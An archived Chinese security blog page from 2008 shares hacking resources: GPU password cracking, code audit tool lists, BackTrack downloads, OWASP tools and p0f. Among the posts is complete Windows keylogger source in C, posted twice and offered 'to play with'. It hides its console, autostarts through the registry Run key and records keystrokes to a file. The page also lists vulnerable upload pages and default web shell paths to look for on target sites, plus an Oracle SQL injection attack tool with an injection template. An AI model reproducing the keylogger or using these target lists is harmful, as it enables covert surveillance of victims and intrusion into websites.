存档

‘资源共享’ 分类的存档

用显卡来暴力破解密码

2008年10月21日 没有评论 124 views

ElcomSoft Distributed Password Recovery 俄罗斯著名的ElcomSoft出品的密码破解工具,这家公司是专业开发密码恢复工具的,ElcomSoft Distributed Password Recovery的特色我们可以从名字上知晓,是分布式的密码恢复工具,可以通过网络(局域网和互联网均可)来让N台计算机来为同一破解任务提供支援。 不过最近又有一个有意思的东西,通过NVIDIA GPU来加速破解……

不过不是支持所有的文 件格式或应用程序(这里指该软件可破解的文件类型或应用程序),目前主要针对Office 2007 files (Word 2007, Excel 2007, PowerPoint 2007 and Project 2007), WPA/WPA2, Windows logon passwords (LM and NTLM) and MD5 hashes. 不过作者承诺会不断加入新的支持格式。 对于GPU该软件也是有要求的You can use GeForce 8-, 9-, 200-series with a minimum of 256MB graphics memory or Quadro cards(至少256M显存的GF8*,9*,200*系列或者Quadro卡)。下面该软件网站提供了一个GPU加速后的破解效能提升图:


越好的显卡自然提升越大,不过这里似乎没有指明显卡的显存容量对于测试的实际影响有多大(当然越大越好:))。 该软件下载网址:http://www.elcomsoft.com/download/edpr_setup.exe

该软件支持的文件格式或引用程序: Elcomsoft Distributed Password Recovery supports a variety of applications and file formats, allowing password recovery from Office documents, Adobe PDF files, PGP disks and archives, personal security certificates and exchange keys, MD5 hashes and Oracle passwords, Windows and UNIX login passwords.

  • Microsoft Word/Excel/PowerPoint/Project 2007 (.DOCX, .XLSX, .PPTX, .MSPX) (password recovery - "open" password only) (GPU accelerated!)
  • Microsoft Word/Excel/PowerPoint XP/2003 (.DOC, .XLS, .PPT) (password recovery - "open" password only)
  • Microsoft Word/Excel 97/2000 (.DOC, .XLS) (password recovery - "open" password only)
  • Microsoft Word/Excel 97/2000 (.DOC, .XLS) (guaranteed decryption)
  • Microsoft Money (password recovery)
  • Microsoft OneNote (password recovery)
  • OpenDocument (ODF): documents, spreadsheets, presentations, graphics/drawing, formulae (password recovery)
  • PGP: zip archives (.PGP), PGP disks with conventional encryption (.PGD), self-decrypting archives (.EXE), whole disk encryption, secret key rings (.SKR) (password/passphrase recovery)
  • Personal Information Exchange certificates - PKCS #12 (.PFX, .P12) (password recovery)
  • Adobe Acrobat PDF files ("user" and "owner" password recovery)
  • Adobe Acrobat PDF files with 40-bit encryption (guaranteed decryption)
  • Windows NT/2000/XP/2003/Vista logon passwords (LM/NTLM) (password recovery) (GPU accelerated!)
  • Windows SYSKEY startup passwords (password recovery)
  • Windows DCC (Domain Cached Credentials) passwords (password recovery)
  • UNIX users' passwords (password audit/recovery)
  • Intuit Quicken (.QDF) (password recovery)
  • Lotus Notes ID files (password recovery)
  • MD5 hashes (plaintext recovery) (GPU accelerated!)
  • Oracle users' passwords (password audit/recovery)
  • WPA and WPA2 passwords (password recovery) (GPU accelerated!)
分类: 资源共享 标签: ,

Php Code Audits的方向

2008年10月20日 没有评论 97 views

作者:5up3rh3i

下面是一个Source Code Auditing tools的一个list [转于网络]

Name - [ language/s supported ] - web link:

.TEST - [ C#, VB.NET, MC++ ] - http://www.parasoft.com/jsp/products.jsp
ASTRéE - [ C ] - http://www.astree.ens.fr
Bandera - [ Java ] - http://bandera.projects.cis.ksu.edu/
BLAST - [ C ] - http://mtc.epfl.ch/software-tools/blast/
BOON - [ C ] - http://www.cs.berkeley.edu/~daw/boon/
C Code Analyzer (CCA) - [ C ] - http://www.drugphish.ch/~jonny/cca.html
C++test - [ C++ ] - http://www.parasoft.com/jsp/products.jsp
CCMetrics - [ C#, VB.NET ] - http://www.serviceframework.com/jwss/utility,ccmetrics,utility.aspx
Checkstyle - [ Java ] - http://checkstyle.sourceforge.net/
CodeCenter - [ C ] - http://www.ics.com/products/centerline/codecenter/features.html
CodeScan - [ .ASP, PHP ] - http://www.codescan.com/
CodeSecure - [ PHP, Java ] - http://www.armorize.com/corpweb/en/products/codesecure
CodeSonar - [ C, C++ ] - http://www.grammatech.com/products/codesonar/overview.html
CQual - [ C ] - http://www.cs.umd.edu/~jfoster/cqual
Csur - [ C ] - http://www.lsv.ens-cachan.fr/csur/
Dehydra - [ C++ ] - http://wiki.mozilla.org/Dehydra_GCC
DevInspect - [ C#, Visual Basic, JavaScript, VB Script] - http://www.spidynamics.com/products/devinspect/
DevPartner SecurityChecker - [ C#, Visual Basic ] - http://www.compuware.com/products/devpartner/securitychecker.htm
DoubleCheck - [ C, C++ ] - http://www.ghs.com/products/doublecheck.html
FindBugs - [ Java ] - http://findbugs.sourceforge.net/
FlawFinder - [ C, C++ ] - http://www.dwheeler.com/flawfinder/
Fluid - [ Java ] - http://www.fluid.cs.cmu.edu/
Frama-C - [ C ] - http://frama-c.cea.fr/
ftnchek - [ FORTRAN ] - http://www.dsm.fordham.edu/~ftnchek/
FxCop - [ .NET ] - http://code.msdn.microsoft.com/codeanalysis
g95-xml - [ FORTRAN ] - http://g95-xml.sourceforge.net/
ITS4 - [ C, C++ ] - http://www.cigital.com/its4/
Jlint - [ Java ] - http://artho.com/jlint/
JsLint - [ JavaScript ] - http://www.jslint.com/
Jtest - [ Java ] - http://www.parasoft.com/jsp/products.jsp
KlocWork / K7 - [ C, C++, Java ] - http://www.klocwork.com/products/k7_security.asp
LAPSE - [ Java ] - http://www.owasp.org/index.php/Category:OWASP_LAPSE_Project
MOPS - [ C ] - http://www.cs.berkeley.edu/~daw/mops/
MSSCASI - [ ASP ] - http://www.microsoft.com/downloads/details.aspx?FamilyId=58A7C46E-A599-4FCB-9AB4-A4334146B6BA&displaylang=en
MZTools - [ VB6, VBA ] - http://www.mztools.com/index.aspx/
Oink - [ C++ ] - http://www.cubewano.org/oink
Ounce - [ C, C++, Java, JSP, ASP.NET, VB.NET, C# ] - http://www.ouncelabs.com/accurate-complete-results.html
Perl-Critic - [ Perl ] - http://search.cpan.org/dist/Perl-Critic/
PLSQLScanner 2008 - [ PLSQL ] - http://www.red-database-security.com/software/plsqlscanner.html
PHP-Sat - [ PHP ] - http://www.program-transformation.org/PHP/PhpSat
Pixy - [ PHP ] - http://pixybox.seclab.tuwien.ac.at/pixy/index.php
PMD - [ Java ] - http://pmd.sourceforge.net/
PolySpace - [ Ada, C, C++ ] - http://www.polyspace.com/products.htm
PREfix & PREfast - [ C, C++ ] - http://support.microsoft.com/vst
Prevent - [ C, C++ ] - http://www.coverity.com/html/coverity-software-quality-products.html
PyChecker - [ Python ] - http://pychecker.sourceforge.net/
pylint - [ Python ] - http://www.logilab.org/project/pylint
QA-C, QA-C++, QA-J - [ C, C++, Java, FORTRAN ] - http://www.programmingresearch.com/PRODUCTS.html
QualityChecker - [ Visual Basic 6 ] - http://d.cr.free.fr/
RATS - [ C, C++, Perl, PHP, Python ] - http
://www.fortify.com/security-resources/rats.jsp

RSM - [ C, C++, C#, Java ] - http://msquaredtechnologies.com/m2rsm/
Smatch - [ C ] - http://smatch.sourceforge.net/
SCA - [ ASP.NET, C, C++, C#, Java, JSP, PL/SQL, T-SQL, VB.NET, XML ] - http://www.fortifysoftware.com/products/sca/
Skavenger - [ PHP ] - http://code.google.com/p/skavenger/
smarty-lint - [ PHP ] - http://code.google.com/p/smarty-lint/
soot - [ Java ] - http://www.sable.mcgill.ca/soot/
Source Monitor - [ C#, VB.NET ] - http://www.campwoodsw.com/sm20.html
SPARK - [ Ada ] - http://www.praxis-his.com/sparkada/spark.asp
Spike PHP Security Audit Tool - [ PHP ] - http://developer.spikesource.com/projects/phpsecaudit/
Splint - [ C ] - http://www.splint.org/
SWAAT - [ PHP, ASP.NET, JSP, Java ] - http://www.owasp.org/index.php/Category:OWASP_SWAAT_Project
UNO - [ C ] - http://spinroot.com/uno/">
vil - [ C#, VB.NET ] - http://www.1bot.com/
Viva64 - [ C++ ] - http://www.viva64.com/
xg++ - [ C ] - http://www.stanford.edu/~engler/mc-osdi.pdf
YTKScan Java - [ Java ] - http://www.cam.org/~droujav/y2k/Y2KScan.html

支持php的有:

CodeScan - [ .ASP, PHP ] - http://www.codescan.com/
CodeSecure - [ PHP, Java ] - http://www.armorize.com/corpweb/en/products/codesecure
PHP-Sat - [ PHP ] - http://www.program-transformation.org/PHP/PhpSat
Pixy - [ PHP ] - http://pixybox.seclab.tuwien.ac.at/pixy/index.php
RATS - [ C, C++, Perl, PHP, Python ] - http://www.fortify.com/security-resources/rats.jsp
Skavenger - [ PHP ] - http://code.google.com/p/skavenger/
smarty-lint - [ PHP ] - http://code.google.com/p/smarty-lint/
Spike PHP Security Audit Tool - [ PHP ] - http://developer.spikesource.com/projects/phpsecaudit/
SWAAT - [ PHP, ASP.NET, JSP, Java ] - http://www.owasp.org/index.php/Category:OWASP_SWAAT_Project

另外还有一个Fortify - http://www.fortifysoftware.com [如果还有,请帮忙补充]

目前就php的Source Code Auditing tool基本都是静态分析的,而Source Code Auditing一直围绕着2个元素:变量和函数.也就是说这些tools不管是php开发的还是java开发的,也不管是不是基于php原代码的,他本 身都对一些危险的函数和变量都对应的一个'字典'[特征字符串],这些tools都是通过查找这些字典,然后跟踪变量来分析代码.

但是随着程序员安全意识的提高,很多的程序员也知道了这些'字典'了,都有对应的过滤,所以那些传统的问题,很找在大型程序里出现了.所以只有通过扩大我们的字典才有更多的机会去找到应用程序的漏洞.我们的途径有:

* 分析和学习别人发现的漏洞或者exp,如大牛Stefan Esser发现的那些问题,rgod等以前发的那些exp
* 通过学习php手册或者官方文档了解php 一些函数的'特性'
* fuzz php的函数,找到新的有问题的函数[不一定非要溢出的]
* 分析php源代码,发现新的漏洞函数'特性'或者漏洞
* 有条件或者机会和开发者学习,找到他们实现某些常用功能的代码的缺陷或者容易忽视的问题
* 你有什么要补充的吗? :)

分类: 资源共享 标签:

共享一个键盘记录的源码

2008年10月20日 没有评论 133 views

PS:很早的一个源码了,大家拿去玩玩吧

#include <windows.h>
#include <stdio.h>
#include <time.h>


int main(void)
{
// Hide consolewindows
   HWND hwnd = FindWindow("ConsoleWindowClass",NULL);
   ShowWindow(hwnd,SW_HIDE);

//Autostart Keylogger on systemstartup
  HKEY hkey;
  HKEY KEY = HKEY_LOCAL_MACHINE;
  char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
  char name[100]= {"Autostart"};
  char value[100]= {"C:\\Programme\\cLog.exe"};

  RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
  RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
  RegCloseKey(hkey);
//------------------------------------------------------------------------------

int idex;
char *buffer;
long LogLength;
long len;


FILE *log;
   log=fopen("c:\\log.txt","a+");
// Check time and Date and write to file
   time_t theTime=time(0);
   fputs("\nLogged keys by cLog at: ", log);
   fputs(ctime(&theTime),log);
// some advertisement
   fputs("-------------------------------------------------\n",log);
   fputs("~~~~~~~ by CC_IP POWERED BY EXCLUDED.ORG ~~~~~~\n",log);
   fputs("-------------------------------------------------\n",log);
   fputs("\n",log);
   fclose(log);





// logging keys
log=fopen("c:\\log.txt","a+");


           short character;
             while(1)
             {
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  
                            FILE *log;
                            log=fopen("C:\\log.txt","a+");
                            if(log==NULL)
                            {
                                    return 1;
                            }            
                            if(log!=NULL)
                            {        
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,log);
                                          fclose(log);
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,log);
                                          fclose(log);
                                          break;
                                    }
                                    else
>                                    {
                                        switch(character)
                                        {
                                              case 187:
                                              fputc('+',log);
                                              fclose(log);
                                              break;
                                              case 188:
                                              fputc(',',log);
                                              fclose(log);
                                              break;
                                              case 189:
                                              fputc('-',log);
                                              fclose(log);
                                              break;
                                              case 190:
                                              fputc('.',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD2:
                   &nbs
p;                          fputc('2',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD9:
          &nb
sp;                                   fputc('9',log);
                                              fclose(log);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("\r\n[CAPS LOCK]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_SHIFT:
                                              fputs("\r\n[SHIFT]\r\n",log);
                                              fclose(log);
                                              case VK_SPACE:
                                              fputc(' ',log);
                                              fclose(log);
                                              break;    
                                              case VK_CONTROL:
                                              fputs("\r\n[CTRL]\r\n",log);
                                              fclose(log);
                                              break;
                                              break;                                            
                                              case VK_RETURN:
                                              fputs("\r\n[RETURN]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_BACK:
                                              fputs("\r\n[BACKSPACE]\r\n",log);
                                              fclose(log);
                                      &
nbsp;       break;
                                              case VK_TAB:
                                              fputs("\r\n[TAB]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_DELETE:
                                              fputs("\r\n[DELETE]\r\n",log);
                                              fclose(log);
                                              break;
                                              default:
                                              fclose(log);
                                              break;
                                       }        
                                  }    
                             }        
                   }    
               }                  
           FILE *log;
           log=fopen("c:\\log.txt","rb");
           fseek(log,0,SEEK_END); //search EOF
           len=ftell(log); //goto end
           if(len>=LogLength) {
             fseek(log,0,SEEK_SET);
             buffer=(char *)malloc(len);
             idex=fread(buffer,1,len,log);//
             buffer[idex] = '\0'; //terminate
             fclose(log);
             log=fopen("c:\\log.txt","w");
             }
           
            fclose(log);
}
            free (buffer);
}

// Developed by CC_IP powered by www.excluded.org
#include <windows.h>
#include <stdio.h>
#include <time.h>


int main(void)
{
// Hide consolewindows
   HWND hwnd = FindWindow("ConsoleWindowClass",NULL);
   ShowWindow(hwnd,SW_HIDE);

//Autostart Keylogger on systemstartup
  HKEY hkey;
  HKEY KEY = HKEY_LOCAL_MACHINE;
  char place[100]= {"Software\\Microsoft\\Windows\\CurrentVersion\\Run"};
  char name[100]= {"Autostart"};
  char value[100]= {"C:\\Programme\\cLog.exe"};

  RegOpenKeyEx(KEY,(LPCTSTR)place,0, KEY_ALL_ACCESS,&hkey);
  RegSetValueEx(hkey, name, 0, REG_SZ, (BYTE *)value, strlen(value));
  RegCloseKey(hkey);
//------------------------------------------------------------------------------

int idex;
char *buffer;
long LogLength;
long len;


FILE *log;
   log=fopen("c:\\log.txt","a+");
// Check time and Date and write to file
   time_t theTime=time(0);
   fputs("\nLogged keys by cLog at: ", log);
   fputs(ctime(&theTime),log);
// some advertisement
   fputs("-------------------------------------------------\n",log);
   fputs("~~~~~~~ by CC_IP POWERED BY EXCLUDED.ORG ~~~~~~\n",log);
   fputs("-------------------------------------------------\n",log);
   fputs("\n",log);
   fclose(log);





// logging keys
log=fopen("c:\\log.txt","a+");


           short character;
             while(1)
 &nbs
p;           {
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  
                            FILE *log;
                            log=fopen("C:\\log.txt","a+");
                            if(log==NULL)
                            {
                                    return 1;
                            }            
                            if(log!=NULL)
                            {        
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,log);
                                          fclose(log);
                                          break;
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,log);
                                          fclose(log);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case 187:
                                              fputc('+',log);
                                              fclose(log);
                                              break;
                                              case 188:
        
                                      fputc(',',log);
                                              fclose(log);
                                              break;
                                              case 189:
                                              fputc('-',log);
                                              fclose(log);
                                              break;
                                              case 190:
                                              fputc('.',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD4:
 &
nbsp;                                            fputc('4',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',log);
                                              fclose(log);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',log);
                                              fclose(log);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("\r\n[CAPS LOCK]\r\n",log);
                                              fclose(log);
                                              break;
                                      &nb
sp;       case VK_SHIFT:
                                              fputs("\r\n[SHIFT]\r\n",log);
                                              fclose(log);
                                              case VK_SPACE:
                                              fputc(' ',log);
                                              fclose(log);
                                              break;    
                                              case VK_CONTROL:
                                              fputs("\r\n[CTRL]\r\n",log);
                                              fclose(log);
                                              break;
                                              break;                                            
                                              case VK_RETURN:
                                              fputs("\r\n[RETURN]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_BACK:
                                              fputs("\r\n[BACKSPACE]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_TAB:
                                              fputs("\r\n[TAB]\r\n",log);
                                              fclose(log);
                                              break;
                                              case VK_DELETE:
                                              fputs("\r\n[DELETE]\r\n",log);
                                              fclose(log);
                
                              break;
                                              default:
                                              fclose(log);
                                              break;
                                       }        
                                  }    
                             }        
                   }    
               }                  
           FILE *log;
           log=fopen("c:\\log.txt","rb");
           fseek(log,0,SEEK_END); //search EOF
           len=ftell(log); //goto end
           if(len>=LogLength) {
             fseek(log,0,SEEK_SET);
             buffer=(char *)malloc(len);
             idex=fread(buffer,1,len,log);//
             buffer[idex] = '\0'; //terminate
             fclose(log);
             log=fopen("c:\\log.txt","w");
             }
           
            fclose(log);
}
            free (buffer);
}

// Developed by CC_IP powered by www.excluded.org

分类: 资源共享 标签:

公布一批上传页查询关键

2008年10月20日 没有评论 119 views

/eWebEditor/upload.asp #eWebEditor上传页面
/editor/upload.asp #eWebEditor上传页面
/bbs/upfile.asp #动网论坛上传页面
/forum/upfile.asp #动网论坛上传页面
/dvbbs/upfile.asp #动网论坛上传页面
/upfile_soft.asp #动力管理系统上传页面
/upload.asp?action=upfile #乔客6.0上传页面
/upfile.asp #动网论坛上传页面
/bbs/down_addsoft.asp #动网论坛插件上传页面
/bbs/down_picupfile.asp #动网论坛插件上传页面
/down_picupload.asp #动网论坛插件上传页面
/admin/admin_upfile.asp #管理员后台上传页面
/admin/upfile.asp #管理员后台上传页面
/admin/upload.asp #管理员后台上传页面
/admin/uploadfaceok.asp #尘缘上传页面
/news/admin/upfile.asp #新闻管理上传页面
/admin_upfile.asp #飞龙文章管理系统

/user_upfile.asp #飞龙文章管理系统
/upload_flash.asp #秋叶购物商城上传页面
/Saveannounce_upload.asp #购物中心上传页面
/UploadFace.asp #沸腾展望新闻系统

/bbs/diy.asp #Domian3.0默认木马
/UploadSoft/diy.asp #Domian3.0 默认木马
/diy.asp #Domian3.0默认木马
/upload/upload.asp #某某文章管理系统
/mybbs/saveup.asp #MYBBS论坛上传页面
/dxxobbs/upload.asp #DxxoBBS论坛上传页面
/img_upfile.asp #任我飞扬驿站上传页面
/Upfile_SoftPic.asp #动力管理系统上传页面
/upfile_flash.asp #秋叶购物商城上传页面

 

分类: 资源共享 标签:

Linx Oracle 自动攻击器

2008年10月19日 没有评论 134 views

来源:linx2008
* 利用条件:
1.oracle服务器可以读取当前php脚本
*2.要运行系统命令,请先在oralce服务器创建 sys.LinxRunCMD() 函数

提示:
要获得cookie,请运行
 

javascript:document.cookie=window.prompt("Edit cookie:",document.cookie);void(0);

* 注射方式:为必填内容,注射语句用"(<**>)"代替。
使用步骤:

eg:如果你的注射地址是 http://host/test.jsp?action=read&id=123,则
1.输入"注射地址",
2.点击"数值型" or "字符型型",此时自动生成 注射方式:
 

http://host/test.jsp?action=read&id=123 and chr(1) not in (<**>)

3.如果你没有创建函数,请先点击“创建函数”
4.选择操作:运行命令 or读取文件
5.输入命令,选择"生成语句",再点击 运行语句
 

下载地址:点击下载

分类: 资源共享 标签:

BackTrack 3 正式版 迅雷高速下载

2008年10月18日 没有评论 1,022 views

Description: CD Image
Name:: bt3-final.iso
Size: 695 MB
MD5: f79cbfbcd25147df32f5f6dfa287c2d9
SHA1: 471f0e41931366517ea8bffe910fb09a815e42c7
Download: Click here

Description: USB Version (Extended)
Name:: bt3final_usb.iso
Size: 784 MB
MD5: 5d27c768e9c2fef61bbc208c78dadf22
SHA1: 3aceedea0e8e70fff2e7f7a7f3039704014e980f
Download: Click here

Description: VMware Image
Name: BACKTRACK3_VMWare.rar
Size: 689 MB
MD5: 94212d3c24cf439644f158d90094ed6a
SHA1: 21c9a3f9658133efff259adbe290723583b4fd82
Download: Click here

分类: 资源共享 标签:

OWASP WebGoat + WebScarab

2008年10月18日 没有评论 287 views

一、OWASP WebScarab Project
a tool for performing all types of security testing on web applications and web services

下载地址:OWASP Source Code Center at Sourceforge

安装方法:
Linux: java -jar ./webscarab-selfcontained-[numbers].jar
Windows: double-click the installer jar file

A Mac OS X package of the latest version can usually be found on Corsaire's download page.

You can also try the Java Web Start version, which was signed by Rogan Dawes.

演示&教程下载地址:
1. http://sourceforge.net/project/showfiles.php?group_id=233075&package_id=286265
2. http://yehg.net/lab/pr0js/training/webscarab.php

截图:

详情:http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project

二、OWASP WebGoat Project
an online training environment for hands-on learning about application security
鬼仔注:也是WebScarab的那些演示中用的那套系统。

下载地址:Google code downloads

安装方法:
* Double-click on webgoat.bat - a Tomcat command window starts
* Browse to http://localhost/WebGoat/attack

用户手册:WebGoat User and Install Guide

演示&教程下载地址:http://yehg.net/lab/pr0js/training/webgoat.php

截图:

详情:http://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

分类: 资源共享 标签:

BackTrack 3 (BT3)中文版,可显示中文文件及文件夹(二)

2008年10月17日 没有评论 4,863 views

来源:Chinadu`s Blog

要实现bt3的完全中文化,只要在原版bt3的基础上加上huatux的包,再加上一个local包:

这样启动bt3后(我的是bt3 beta3版,final版应该一样,未测)就可以看到中文文件夹及文件了,效果图如下:

 

 

 

分类: 资源共享 标签:

Backtrack 3(BT3)中文版,可显示中文文件及文件夹(一)

2008年10月17日 没有评论 1,063 views

来源:Chinadu`s Blog

网上可以找到两个bt3的中文包,一个20m左右(分四个文件),一个60m左右(一个文件),但两个包都不能实现完整的中文化,都不能显示中文文件夹,对FAT32磁盘里的中文是显示“?????”,NTFS磁盘里的中文索性不显示。
    经过一个晚上的研究,终于可以使bt3正常显示中文文件夹及文件了。
    bt3是基于slax的linux系统,在国内有个fanx的是做slax汉化的,最新版是FanX2,我所要做的就是把FanX2里的中文包移植到bt3里面(我所做的是基于bt3 beta 3,在bt3 final里应该也可以用,大家可以试试),把以下这个lzm文件放到“BT3\modules”下就OK了。

不过这个包由于是移植自FanX2的,所以界面也是FanX2的,不过功能全部是bt3的,下面是界面示意图:

 

用这个包的好处是这是从最新的slax中文版里提取的,视频解码等都非常齐备,可以直接播放rmvb,至于其他功能,大家就自己去发现发现吧。
至于有网友说无法启动之类的,应该是由于加载了过多的lzm包,或错误的lzm包等引起的,大家自己研究一下吧。

下载文件:点击下载

分类: 资源共享 标签:

SCRT Mini MySqlat0r-Java写的mysql注入检测工具

2008年10月15日 没有评论 127 views

Introduction
Mini MySqlat0r is a multi-platform application used to audit web sites in order to discover and exploit SQL injection vulnerabilities. It is written in Java and is used through a user-friendly GUI that contains three distinct modules.

The Crawler modules allows the user to view the web site structure and gather all tamperable parameters. These parameters are then sent to the Tester module that tests all parameters for SQL injection vulnerabilities. If any are found, they are then sent to the Exploiter module that can exploit the injections to gather data from the database.
http://www.scrt.ch/imagesite/sqlator.jpg
Mini MySqlat0r can be used on any platform running the Java environment and is distributed under GPL licence.
Prerequisites
The Java runtime environment is necessary to use Mini MySqlat0r :
- Java JRE
Downloads
version 0.3
Program      mms_0_3.jar
Source code      mms_src.jar
Documentation      mms_manual.pdf

详情查看:http://www.scrt.ch/pages_en/minimysqlator.html

分类: 资源共享 标签:

新的远程OS指纹被动判别工具-p0f

2008年10月15日 没有评论 51 views

来源:3w417

p0f 是继Nmap和Xprobe2之后又一款远程操作系统被动判别工具。它支持:

1. 反连SYN 模式
2. 正连SYN+ACK 模式
3. 空连RST+ 模式
4. 碎片ACK模式

p0f比较有特色的是它还可以探测:

1. 是否运行于防火墙之后
2. 是否运行于NAT模式
3. 是否运行于负载均衡模式
4. 远程系统已启动时间
5. 远程系统的DSL和ISP信息等

输出类似的报表:

192.165.38.73:20908 - OpenBSD 3.0-3.4 (up: 836 hrs)
-> 217.8.32.51:80 (distance 6, link: GPRS or FreeS/WAN)
192.165.38.73:21154 - Linux 2.4/2.6 (NAT!) (up: 173 hrs)
-> 217.8.32.51:80 (distance 6, link: GPRS or FreeS/WAN)
192.165.38.73:22003 - Windows XP Pro SP1, 2000 SP3 (NAT!)
-> 217.8.32.51:80 (distance 6, link: GPRS or FreeS/WAN)

下载地址:http://lcamtuf.coredump.cx/p0f/

分类: 资源共享 标签:

开机svchost进程CPU 占用率过高问题

2008年10月15日 没有评论 102 views

最近总是发现开机后有一个svchost进程占用CPU非常高,大概有30秒左右系统都很慢,疑神疑鬼的以为是中了木马,查了很久都没有问题。

今天终于解决了!装这个补丁:http://go.microsoft.com/fwlink/?LinkID=91237

装了之后重启感觉好多了,错觉? :)

PS:
这个补丁叫:windowsupdateagent30-x86.exe
补丁详细介绍看这里:http://msdn.microsoft.com/en-us/library/aa387285.aspx

分类: 资源共享 标签: